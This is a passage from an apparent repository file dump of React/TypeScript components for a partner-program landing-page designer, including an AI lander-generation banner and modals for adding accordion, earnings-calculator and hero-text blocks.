p-5\">{children}</div>\n      </motion.div>\n    </Reorder.Item>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/lander-ai-banner.tsx",
    "content": "import { generateLanderAction } from \"@/lib/actions/partners/generate-lander\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { programLanderSimpleSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Grid, LoadingSpinner, Sparkle3 } from \"@dub/ui\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useBrandingContext } from \"../branding-context-provider\";\nimport { useBrandingFormContext } from \"../branding-form\";\nimport { GenerateLanderModal } from \"./modals/generate-lander-modal\";\n\nexport function LanderAIBanner() {\n  const { id: workspaceId } = useWorkspace();\n\n  const landerData = useWatch({ name: \"landerData\" });\n  const { setValue } = useBrandingFormContext();\n\n  const [showGenerateLanderModal, setShowGenerateLanderModal] = useState(false);\n\n  const {\n    isGeneratingLander,\n    setIsGeneratingLander,\n    isGenerateBannerHidden,\n    setIsGenerateBannerHidden,\n  } = useBrandingContext();\n\n  const { executeAsync } = useAction(generateLanderAction, {\n    async onSuccess() {\n      toast.success(\"Landing page generated.\");\n    },\n    onError({ error }) {\n      console.error(error);\n    },\n  });\n\n  const showBanner = !isGenerateBannerHidden && landerData?.blocks.length === 0;\n\n  return (\n    <>\n      <AnimatePresence>\n        {showBanner && (\n          <motion.div\n            initial={{ opacity: 0, height: 0 }}\n            animate={{ opacity: 1, height: \"auto\" }}\n            exit={{ opacity: 0, height: 0 }}\n            transition={{ duration: 0.2 }}\n          >\n            <div className=\"relative rounded-t-xl bg-neutral-200 p-2\">\n              <div className=\"absolute inset-0 overflow-hidden rounded-t-xl\">\n                <Grid\n                  cellSize={30}\n                  patternOffset={[0, -6]}\n                  className=\"inset-[unset] inset-y-0 left-1/2 w-[1200px] -translate-x-1/2 text-neutral-300\"\n                />\n              </div>\n\n              <div className=\"relative flex items-center justify-between gap-2\">\n                <div className=\"basis-0\" />\n                <div className=\"flex grow items-center justify-center gap-2\">\n                  <Sparkle3 className=\"text-content-emphasis hidden size-4 shrink-0 sm:block\" />\n                  <span className=\"text-content-emphasis text-left text-sm font-medium\">\n                    Generate your program landing page based on your website\n                  </span>\n                  <Button\n                    variant=\"success\"\n                    text=\"Generate\"\n                    className=\"ml-2 h-7 w-fit rounded-lg px-2.5\"\n                    onClick={() => setShowGenerateLanderModal(true)}\n                    {...(isGeneratingLander && {\n                      disabled: true,\n                      icon: <LoadingSpinner className=\"size-3\" />,\n                    })}\n                  />\n                </div>\n                <div className=\"basis-0\">\n                  <Button\n                    variant=\"outline\"\n                    icon={<X className=\"size-4\" />}\n                    className=\"size-7 rounded-lg bg-black/5 p-0 backdrop-blur-sm hover:bg-black/10 active:bg-black/15\"\n                    onClick={() => setIsGenerateBannerHidden(true)}\n                  />\n                </div>\n              </div>\n\n              {/* Space filler */}\n              <div className=\"absolute inset-x-0 top-full h-2 bg-neutral-200\" />\n            </div>\n          </motion.div>\n        )}\n      </AnimatePresence>\n      {(showBanner || showGenerateLanderModal) && (\n        <GenerateLanderModal\n          showGenerateLanderModal={showGenerateLanderModal}\n          setShowGenerateLanderModal={setShowGenerateLanderModal}\n          onGenerate={async ({ websiteUrl }) => {\n            setIsGeneratingLander(true);\n\n            const result = await executeAsync({\n              workspaceId: workspaceId!,\n              websiteUrl,\n            });\n\n            try {\n              const data = programLanderSimpleSchema.parse(result?.data);\n              if (!data.blocks.length) throw new Error(\"No blocks generated\");\n\n              setValue(\"landerData.blocks\", data.blocks, { shouldDirty: true });\n            } catch (e) {\n              console.error(\"Error generating program lander\", e);\n              toast.error(\n                \"Failed to generate landing page. Please try again later.\",\n              );\n            } finally {\n              setIsGeneratingLander(false);\n            }\n          }}\n        />\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/lander-preview-controls.tsx",
    "content": "\"use client\";\n\nimport { generateLanderAction } from \"@/lib/actions/partners/generate-lander\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { programLanderSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { Button, LoadingSpinner, Sparkle3 } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useBrandingContext } from \"../branding-context-provider\";\nimport { useBrandingFormContext } from \"../branding-form\";\nimport { GenerateLanderModal } from \"./modals/generate-lander-modal\";\n\nexport function LanderPreviewControls() {\n  const { id: workspaceId } = useWorkspace();\n\n  const { setValue, getValues } = useBrandingFormContext();\n  const { landerData } = {\n    ...useWatch(),\n    ...getValues(),\n  };\n\n  const { isGeneratingLander, setIsGeneratingLander, isGenerateBannerHidden } =\n    useBrandingContext();\n\n  const [showGenerateLanderModal, setShowGenerateLanderModal] = useState(false);\n\n  const { executeAsync } = useAction(generateLanderAction, {\n    async onSuccess() {\n      toast.success(\"Landing page updated.\");\n    },\n    onError({ error }) {\n      console.error(error);\n    },\n  });\n\n  const showGenerateButton =\n    isGenerateBannerHidden || landerData?.blocks.length !== 0;\n\n  return (\n    <>\n      <div\n        className={cn(\n          \"pointer-events-none w-0 translate-y-1 overflow-hidden opacity-0 transition-[opacity,transform]\",\n          showGenerateButton &&\n            \"pointer-events-auto w-auto translate-y-0 opacity-100\",\n        )}\n        inert={!showGenerateButton}\n      >\n        <Button\n          type=\"button\"\n          variant=\"success\"\n          text={\n            <div className=\"flex items-center gap-1\">\n              Generate\n              {isGeneratingLander ? (\n                <LoadingSpinner className=\"size-3\" />\n              ) : (\n                <Sparkle3 className=\"size-3\" />\n              )}\n            </div>\n          }\n          disabled={isGeneratingLander}\n          className=\"animate-fade-in h-7 w-fit px-2 hover:ring-0\"\n          onClick={() => setShowGenerateLanderModal(true)}\n        />\n      </div>\n      {(showGenerateButton || showGenerateLanderModal) && (\n        <GenerateLanderModal\n          showGenerateLanderModal={showGenerateLanderModal}\n          setShowGenerateLanderModal={setShowGenerateLanderModal}\n          landerData={landerData}\n          onGenerate={async ({ websiteUrl, prompt }) => {\n            setIsGeneratingLander(true);\n\n            const result = await executeAsync({\n              workspaceId: workspaceId!,\n              websiteUrl,\n              prompt,\n              landerData,\n            });\n\n            try {\n              const data = programLanderSchema.parse(result?.data);\n              if (!data.blocks.length) throw new Error(\"No blocks generated\");\n\n              setValue(\"landerData.blocks\", data.blocks, { shouldDirty: true });\n            } catch (e) {\n              console.error(\"Error generating program lander content\", e);\n              toast.error(\n                \"Failed to generate landing page content. Please try again later.\",\n              );\n            } finally {\n              setIsGeneratingLander(false);\n            }\n          }}\n        />\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/modals/accordion-block-modal.tsx",
    "content": "\"use client\";\n\nimport { programLanderAccordionBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport {\n  Button,\n  CircleWarning,\n  Modal,\n  useMediaQuery,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useId, useRef } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\nimport { EditList, ExpandableEditListItem } from \"../../edit-list\";\n\ntype AccordionBlockData = z.infer<\n  typeof programLanderAccordionBlockSchema\n>[\"data\"];\n\ntype AccordionBlockModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<AccordionBlockData>;\n  onSubmit: (data: AccordionBlockData) => void;\n};\n\nexport function AccordionBlockModal(props: AccordionBlockModalProps) {\n  return (\n    <Modal\n      showModal={props.showModal}\n      setShowModal={props.setShowModal}\n      className=\"\"\n    >\n      <AccordionBlockModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction AccordionBlockModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: AccordionBlockModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n  const {\n    handleSubmit,\n    register,\n    watch,\n    setValue,\n    formState: { errors },\n  } = useForm<AccordionBlockData>({\n    defaultValues: defaultValues ?? {\n      title: \"\",\n      items: [\n        {\n          id: uuid(),\n          title: \"Item 1\",\n          content: \"\",\n        },\n      ],\n    },\n  });\n\n  const fields = watch(\"items\");\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  return (\n    <div className=\"p-4 pt-3\">\n      <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n        {defaultValues ? \"Edit\" : \"Add\"} Accordion\n      </h3>\n      <form\n        className=\"mt-4 flex flex-col gap-6\"\n        onSubmit={(e) => {\n          e.stopPropagation();\n          handleSubmit(async (data) => {\n            setShowModal(false);\n            onSubmit(data);\n          })(e);\n        }}\n      >\n        {/* Title */}\n        <div>\n          <label\n            htmlFor={`${id}-title`}\n            className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n          >\n            Section heading\n          </label>\n          <div className=\"mt-2 rounded-md shadow-sm\">\n            <input\n              id={`${id}-title`}\n              type=\"text\"\n              placeholder=\"Title\"\n              autoFocus={!isMobile}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n              {...register(\"title\")}\n            />\n          </div>\n        </div>\n\n        <div className=\"relative -my-2\">\n          <div\n            ref={scrollRef}\n            onScroll={updateScrollProgress}\n            className=\"scrollbar-hide relative max-h-[calc(100vh-300px)] overflow-y-auto py-2\"\n          >\n            <EditList\n              values={fields.map(({ id }) => id)}\n              onAdd={() => {\n                const id = uuid();\n\n                setValue(\n                  \"items\",\n                  [\n                    ...fields,\n                    {\n                      id,\n                      title: `Item ${fields.length + 1}`,\n                      content: \"\",\n                    },\n                  ],\n                  { shouldDirty: true },\n                );\n\n                return id;\n              }}\n              onReorder={(updated) =>\n                setValue(\n                  \"items\",\n                  updated.map((id) => fields.find((f) => f.id === id)!),\n                  { shouldDirty: true },\n                )\n              }\n            >\n              {fields.map((field, index) => {\n                const fieldErrors = errors.items?.[index];\n\n                return (\n                  <ExpandableEditListItem\n                    key={field.id}\n                    value={field.id}\n                    title={\n                      <span className=\"flex items-center gap-2\">\n                        {field.title || \"Item\"}\n                        {(fieldErrors?.title || fieldErrors?.content) && (\n                          <CircleWarning className=\"size-3.5 text-red-600\" />\n                        )}\n                      </span>\n                    }\n                    onRemove={\n                      fields.length > 1\n                        ? () =>\n                            setValue(\n                              \"items\",\n                              fields.filter(({ id }) => id !== field.id),\n                              { shouldDirty: true },\n                            )\n                        : undefined\n                    }\n                  >\n                    <div className=\"flex flex-col gap-6\">\n                      {/* Title */}\n                      <div>\n                        <label\n                          htmlFor={`${id}-${field.id}-title`}\n                          className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n                        >\n                          Title\n                        </label>\n                        <div className=\"mt-2 rounded-md shadow-sm\">\n                          <input\n                            id={`${id}-${field.id}-title`}\n                            type=\"text\"\n                            placeholder=\"Title\"\n                            className={cn(\n                              \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                              fieldErrors?.title &&\n                                \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                            )}\n                            {...register(`items.${index}.title`, {\n                              required: \"Title is required\",\n                            })}\n                          />\n                        </div>\n                      </div>\n\n                      {/* Content */}\n                      <div>\n                        <label\n                          htmlFor={`${id}-${field.id}-content`}\n                          className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n                        >\n                          Content\n                        </label>\n                        <div className=\"mt-2 rounded-md shadow-sm\">\n                          <textarea\n                            id={`${id}-${field.id}-content`}\n                            rows={3}\n                            maxLength={1000}\n                            placeholder=\"Start typing\"\n                            className={cn(\n                              \"block max-h-32 min-h-16 w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                              fieldErrors?.content &&\n                                \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                            )}\n                            {...register(`items.${index}.content`, {\n                              required: \"Content is required\",\n                            })}\n                          />\n                        </div>\n                      </div>\n                    </div>\n                  </ExpandableEditListItem>\n                );\n              })}\n            </EditList>\n          </div>\n\n          {/* Bottom scroll fade */}\n          <div\n            className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full bg-gradient-to-t from-white sm:block\"\n            style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n          />\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2\">\n          <Button\n            onClick={() => setShowModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text={defaultValues ? \"Update\" : \"Add\"}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </div>\n  );\n}\n\nexport function AccordionBlockThumbnail() {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"168\"\n      height=\"100\"\n      fill=\"none\"\n      viewBox=\"0 0 168 100\"\n      className=\"h-auto w-full\"\n    >\n      <path\n        fill=\"#E5E5E5\"\n        d=\"M31 22.234v.216h106v-.431H31zm106 35.789v-.216H31v.431h106z\"\n      />\n      <text\n        xmlSpace=\"preserve\"\n        fill=\"#262626\"\n        fontSize=\"6.894\"\n        fontWeight=\"600\"\n        letterSpacing=\"-.02em\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"31\" y=\"36.807\">\n          Question 1\n        </tspan>\n      </text>\n      <path\n        stroke=\"#737373\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"0.646\"\n        d=\"m130.106 30.852-4.309 4.308M125.797 30.852l4.309 4.308\"\n      />\n      <text\n        xmlSpace=\"preserve\"\n        fill=\"#262626\"\n        fontSize=\"6.894\"\n        letterSpacing=\"-.02em\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"31\" y=\"47.807\">\n          Here’s the answer!\n        </tspan>\n      </text>\n      <path\n        fill=\"#E5E5E5\"\n        d=\"M31 58.023v.216h106v-.431H31zm106 21.342v-.215H31v.43h106z\"\n      />\n      <text\n        xmlSpace=\"preserve\"\n        fill=\"#262626\"\n        fontSize=\"6.894\"\n        fontWeight=\"600\"\n        letterSpacing=\"-.02em\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"31\" y=\"70.871\">\n          Question 2\n        </tspan>\n      </text>\n      <path\n        stroke=\"#737373\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"0.646\"\n        d=\"M127.951 66.217v4.955M125.474 68.693h4.955\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/modals/add-block-modal.tsx",
    "content": "\"use client\";\n\nimport { programLanderBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { Calculator, Icon, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Dispatch, Fragment, ReactNode, SetStateAction, useState } from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\nimport { useBrandingFormContext } from \"../../branding-form\";\nimport {\n  AccordionBlockModal,\n  AccordionBlockThumbnail,\n} from \"./accordion-block-modal\";\nimport { EarningsCalculatorBlockModal } from \"./earnings-calculator-block-modal\";\nimport { FilesBlockModal, FilesBlockThumbnail } from \"./files-block-modal\";\nimport { ImageBlockModal, ImageBlockThumbnail } from \"./image-block-modal\";\nimport { TextBlockModal, TextBlockThumbnail } from \"./text-block-modal\";\n\ntype AddBlockModalProps = {\n  showAddBlockModal: boolean;\n  setShowAddBlockModal: Dispatch<SetStateAction<boolean>>;\n  addIndex: number;\n};\n\nexport function AddBlockModal(props: AddBlockModalProps) {\n  return (\n    <Modal\n      showModal={props.showAddBlockModal}\n      setShowModal={props.setShowAddBlockModal}\n    >\n      <AddBlockModalInner {...props} />\n    </Modal>\n  );\n}\n\nexport const DESIGNER_BLOCKS: ({\n  id: z.infer<typeof programLanderBlockSchema>[\"type\"];\n  label: string;\n  description: string;\n  modal: React.ComponentType<any>;\n} & (\n  | { icon: Icon; thumbnail?: never }\n  | { thumbnail: ReactNode; icon?: never }\n))[] = [\n  {\n    id: \"text\",\n    label: \"Text\",\n    description: \"Share more program information and content\",\n    modal: TextBlockModal,\n    thumbnail: <TextBlockThumbnail />,\n  },\n  {\n    id: \"image\",\n    label: \"Image\",\n    description: \"Add nice visuals to accompany your content\",\n    modal: ImageBlockModal,\n    thumbnail: <ImageBlockThumbnail />,\n  },\n  {\n    id: \"files\",\n    label: \"Files\",\n    description: \"Provide helpful files to potential partners\",\n    modal: FilesBlockModal,\n    thumbnail: <FilesBlockThumbnail />,\n  },\n  {\n    id: \"accordion\",\n    label: \"Accordion\",\n    description: \"Expanding and collapsing, great for FAQs\",\n    modal: AccordionBlockModal,\n    thumbnail: <AccordionBlockThumbnail />,\n  },\n  {\n    id: \"earnings-calculator\",\n    label: \"Earnings Calculator\",\n    description: \"Show partners how much they can earn.\",\n    modal: EarningsCalculatorBlockModal,\n    icon: Calculator,\n  },\n];\n\nfunction AddBlockModalInner({\n  setShowAddBlockModal,\n  addIndex,\n}: AddBlockModalProps) {\n  const [modalState, setModalState] = useState<\n    null | z.infer<typeof programLanderBlockSchema>[\"type\"]\n  >(null);\n\n  const { control, setValue } = useBrandingFormContext();\n  const landerData = useWatch({\n    control,\n    name: \"landerData\",\n  });\n\n  return (\n    <>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          Insert block\n        </h3>\n        <div className=\"mt-4 grid grid-cols-2 gap-4\">\n          {DESIGNER_BLOCKS.map((block) => (\n            <Fragment key={block.id}>\n              <block.modal\n                showModal={modalState === block.id}\n                setShowModal={(show) =>\n                  setModalState((s) =>\n                    show ? block.id : s === block.id ? null : s,\n                  )\n                }\n                onSubmit={(data) => {\n                  setValue(\n                    `landerData.blocks`,\n                    [\n                      ...landerData.blocks.slice(0, addIndex),\n                      { type: block.id, id: uuid(), data },\n                      ...landerData.blocks.slice(addIndex),\n                    ],\n                    { shouldDirty: true },\n                  );\n                  setModalState(null);\n                  setShowAddBlockModal(false);\n                }}\n              />\n              <button\n                type=\"button\"\n                onClick={() => setModalState(block.id)}\n                className={cn(\n                  \"flex flex-col gap-4 rounded-md border border-transparent bg-neutral-100 p-4 text-left outline-none ring-black/10 transition-all duration-150 hover:border-neutral-800 hover:ring focus-visible:border-neutral-800\",\n                  block.icon && \"col-span-2 flex-row items-center\",\n                )}\n              >\n                {block.icon ? (\n                  <div className=\"flex size-12 items-center justify-center overflow-hidden rounded-md border border-neutral-200 bg-white\">\n                    <block.icon className=\"size-5 text-neutral-600\" />\n                  </div>\n                ) : (\n                  <div className=\"flex h-24 items-center justify-center overflow-hidden rounded-md border border-neutral-200 bg-white\">\n                    {block.thumbnail}\n                  </div>\n                )}\n                <div className=\"flex flex-col gap-1\">\n                  <span className=\"text-sm font-semibold text-neutral-900\">\n                    {block.label}\n                  </span>\n                  <p className=\"text-sm tracking-[-0.01em] text-neutral-500\">\n                    {block.description}\n                  </p>\n                </div>\n              </button>\n            </Fragment>\n          ))}\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/modals/earnings-calculator-block-modal.tsx",
    "content": "\"use client\";\n\nimport useGroup from \"@/lib/swr/use-group\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { programLanderEarningsCalculatorBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport {\n  Button,\n  Modal,\n  ToggleGroup,\n  useMediaQuery,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { Dispatch, SetStateAction, useId, useRef } from \"react\";\nimport type { Control } from \"react-hook-form\";\nimport { Controller, useForm, useWatch } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { EarningsCalculatorBlock } from \"../../../../lander/blocks/earnings-calculator-block\";\n\ntype EarningsCalculatorBlockData = z.infer<\n  typeof programLanderEarningsCalculatorBlockSchema\n>[\"data\"];\n\ntype EarningsCalculatorBlockModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<EarningsCalculatorBlockData>;\n  onSubmit: (data: EarningsCalculatorBlockData) => void;\n};\n\nconst MAX_PRODUCT_PRICE = 10_000;\n\nexport function EarningsCalculatorBlockModal(\n  props: EarningsCalculatorBlockModalProps,\n) {\n  return (\n    <Modal showModal={props.showModal} setShowModal={props.setShowModal}>\n      <EarningsCalculatorBlockModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction EarningsCalculatorBlockModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: EarningsCalculatorBlockModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const {\n    handleSubmit,\n    register,\n    control,\n    formState: { errors },\n  } = useForm<EarningsCalculatorBlockData>({\n    defaultValues: {\n      ...defaultValues,\n      productPrice: defaultValues?.productPrice\n        ? defaultValues.productPrice / 100\n        : undefined,\n      billingPeriod: defaultValues?.billingPeriod ?? \"monthly\",\n    },\n  });\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  return (\n    <>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} earnings calculator\n        </h3>\n        <form\n          className=\"mt-4\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              setShowModal(false);\n              onSubmit({\n                ...data,\n                productPrice: Number(data.productPrice) * 100,\n              });\n            })(e);\n          }}\n        >\n          <div className=\"relative\">\n            <div\n              ref={scrollRef}\n              onScroll={updateScrollProgress}\n              className=\"scrollbar-hide relative -m-2 max-h-[calc(100vh-160px)] overflow-y-auto p-2\"\n            >\n              <div className=\"flex flex-col gap-5\">\n                {/* Product price */}\n                <div>\n                  <label\n                    htmlFor={`${id}-price`}\n                    className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n                  >\n                    Average product price\n                  </label>\n                  <div className=\"relative mt-2 rounded-md shadow-sm\">\n                    <span className=\"absolute inset-y-0 left-0 flex items-center pl-3 text-sm text-neutral-400\">\n                      $\n                    </span>\n                    <input\n                      id={`${id}-price`}\n                      type=\"text\"\n                      placeholder=\"30\"\n                      autoFocus={!isMobile}\n                      className={cn(\n                        \"block w-full rounded-md border-neutral-300 pl-6 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                        errors.productPrice &&\n                          \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                      )}\n                      {...register(\"productPrice\", {\n                        required: true,\n                        valueAsNumber: true,\n                        min: 0,\n                        max: MAX_PRODUCT_PRICE,\n                      })}\n                    />\n                  </div>\n                </div>\n\n                {/* Billing period toggle */}\n                <div>\n                  <label className=\"text-sm font-medium text-neutral-700\">\n                    Billing period\n                  </label>\n                  <div className=\"mt-2\">\n                    <Controller\n                      control={control}\n                      name=\"billingPeriod\"\n                      render={({ field }) => (\n                        <ToggleGroup\n                          options={[\n                            { value: \"monthly\", label: \"Monthly\" },\n                            { value: \"yearly\", label: \"Yearly\" },\n                            { value: \"one-time\", label: \"One-time\" },\n                          ]}\n                          selected={field.value ?? \"monthly\"}\n                          selectAction={(value) => field.onChange(value)}\n                          className=\"grid w-full grid-cols-3 rounded-lg border-none bg-neutral-100 p-0.5\"\n                          optionClassName=\"flex h-9 justify-center\"\n                          indicatorClassName=\"rounded-md border-none bg-white shadow-[0px_0px_2px_0px_rgba(0,0,0,0.05),0px_2px_6px_0px_rgba(0,0,0,0.1)]\"\n                        />\n                      )}\n                    />\n                  </div>\n                </div>\n\n                <div className=\"flex flex-col gap-2.5\">\n                  <div>\n                    <span className=\"text-content-emphasis text-sm font-medium\">\n                      Preview\n                    </span>\n                    <p className=\"text-xs text-neutral-500\">\n                      This is calculated using your{\" \"}\n                      <Link\n                        href={`/${workspaceSlug}/program/settings/rewards`}\n                        target=\"_blank\"\n                        className=\"underline hover:text-neutral-600\"\n                      >\n                        default program reward\n                      </Link>\n                    </p>\n                  </div>\n                  <Preview control={control} />\n                </div>\n              </div>\n            </div>\n\n            {/* Bottom scroll fade */}\n            <div\n              className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full bg-gradient-to-t from-white sm:block\"\n              style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n            />\n          </div>\n          <div className=\"mt-6 flex items-center justify-end gap-2\">\n            <Button\n              onClick={() => setShowModal(false)}\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit px-3\"\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={defaultValues ? \"Update\" : \"Add\"}\n              className=\"h-8 w-fit px-3\"\n            />\n          </div>\n        </form>\n      </div>\n    </>\n  );\n}\n\nfunction Preview({\n  control,\n}: {\n  control: Control<EarningsCalculatorBlockData>;\n}) {\n  const productPrice = useWatch({ control, name: \"productPrice\" });\n  const billingPeriod = useWatch({ control, name: \"billingPeriod\" });\n\n  const { group } = useGroup();\n\n  if (!group) return null;\n\n  return (\n    <EarningsCalculatorBlock\n      block={{\n        id: \"\",\n        type: \"earnings-calculator\",\n        data: {\n          productPrice:\n            Math.min(Math.max(productPrice || 0, 0), MAX_PRODUCT_PRICE) * 100,\n          billingPeriod: billingPeriod ?? \"monthly\",\n        },\n      }}\n      group={group}\n      showTitleAndDescription={false}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/modals/edit-hero-modal.tsx",
    "content": "\"use client\";\n\nimport useProgram from \"@/lib/swr/use-program\";\nimport { Button, Modal, useEnterSubmit, useMediaQuery } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { BrandingFormData, useBrandingFormContext } from \"../../branding-form\";\n\ntype EditHeroModalProps = {\n  showEditHeroModal: boolean;\n  setShowEditHeroModal: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction EditHeroModal(props: EditHeroModalProps) {\n  return (\n    <Modal\n      showModal={props.showEditHeroModal}\n      setShowModal={props.setShowEditHeroModal}\n    >\n      <EditHeroModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction EditHeroModalInner({ setShowEditHeroModal }: EditHeroModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n  const { program } = useProgram();\n\n  const { getValues: getValuesParent, setValue: setValueParent } =\n    useBrandingFormContext();\n\n  const {\n    register,\n    handleSubmit,\n    formState: { isDirty },\n  } = useForm<Pick<BrandingFormData, \"landerData\">>({\n    values: {\n      landerData: getValuesParent(\"landerData\"),\n    },\n  });\n\n  const { handleKeyDown } = useEnterSubmit();\n\n  return (\n    <>\n      <form\n        className=\"p-4 pt-3\"\n        onSubmit={(e) => {\n          e.stopPropagation();\n          handleSubmit(({ landerData }) => {\n            setValueParent(\"landerData\", landerData, {\n              shouldDirty: true,\n            });\n            setShowEditHeroModal(false);\n          })(e);\n        }}\n      >\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          Title and Description\n        </h3>\n\n        <div className=\"mt-4 flex flex-col gap-6\">\n          {/* Section label */}\n          <div>\n            <label\n              htmlFor={`${id}-label`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Section label\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-label`}\n                type=\"text\"\n                placeholder=\"Affiliate Program\"\n                autoFocus={!isMobile}\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"landerData.label\")}\n              />\n            </div>\n          </div>\n\n          {/* Title */}\n          <div>\n            <label\n              htmlFor={`${id}-title`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Title\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-title`}\n                type=\"text\"\n                placeholder={`Join the ${program?.name} affiliate program`}\n                autoFocus={!isMobile}\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"landerData.title\")}\n              />\n            </div>\n          </div>\n\n          {/* Description */}\n          <div>\n            <label\n              htmlFor={`${id}-description`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Description\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <textarea\n                id={`${id}-description`}\n                rows={3}\n                maxLength={240}\n                onKeyDown={handleKeyDown}\n                